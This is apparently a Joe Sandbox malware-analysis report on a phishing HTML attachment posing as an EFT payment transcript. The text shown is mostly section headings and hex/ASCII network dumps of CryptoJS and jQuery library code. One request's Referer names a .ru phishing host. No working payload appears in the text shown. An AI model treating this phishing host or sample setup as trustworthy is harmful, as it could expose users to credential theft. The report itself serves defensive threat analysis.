2024-12-29 15:59:05 UTC	407	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e Data Ascii: peof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 Data Ascii: ne.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBy
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b Data Ascii: =typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d Data Ascii: or(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c Data Ascii: :0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLM
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d Data Ascii: bs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=
2024-12-29 15:59:05 UTC	1369	IN	Data Raw: 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 Data Ascii: 39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EFT Payment_Transcript__Survitecgroup.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 262

Chrome Cache Entry: 263

Chrome Cache Entry: 264

Chrome Cache Entry: 265

Chrome Cache Entry: 266

Chrome Cache Entry: 267

Chrome Cache Entry: 268

Chrome Cache Entry: 269

Chrome Cache Entry: 270

Chrome Cache Entry: 271

Chrome Cache Entry: 272

Chrome Cache Entry: 273

Chrome Cache Entry: 274

Chrome Cache Entry: 275

Chrome Cache Entry: 276

Chrome Cache Entry: 277

Chrome Cache Entry: 278

Chrome Cache Entry: 279

Chrome Cache Entry: 280

Chrome Cache Entry: 281

Chrome Cache Entry: 282

Chrome Cache Entry: 283

Chrome Cache Entry: 284

Chrome Cache Entry: 285

Chrome Cache Entry: 286

Chrome Cache Entry: 287

Chrome Cache Entry: 288

Chrome Cache Entry: 289

Windows Analysis Report
EFT Payment_Transcript__Survitecgroup.html

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:05 UTC	628	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rjwc1sic.olistraket.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:05 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 972472 Date: Sun, 29 Dec 2024 15:59:05 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740029-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1735487946.758571,VS0,VE1 Vary: Accept-Encoding
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 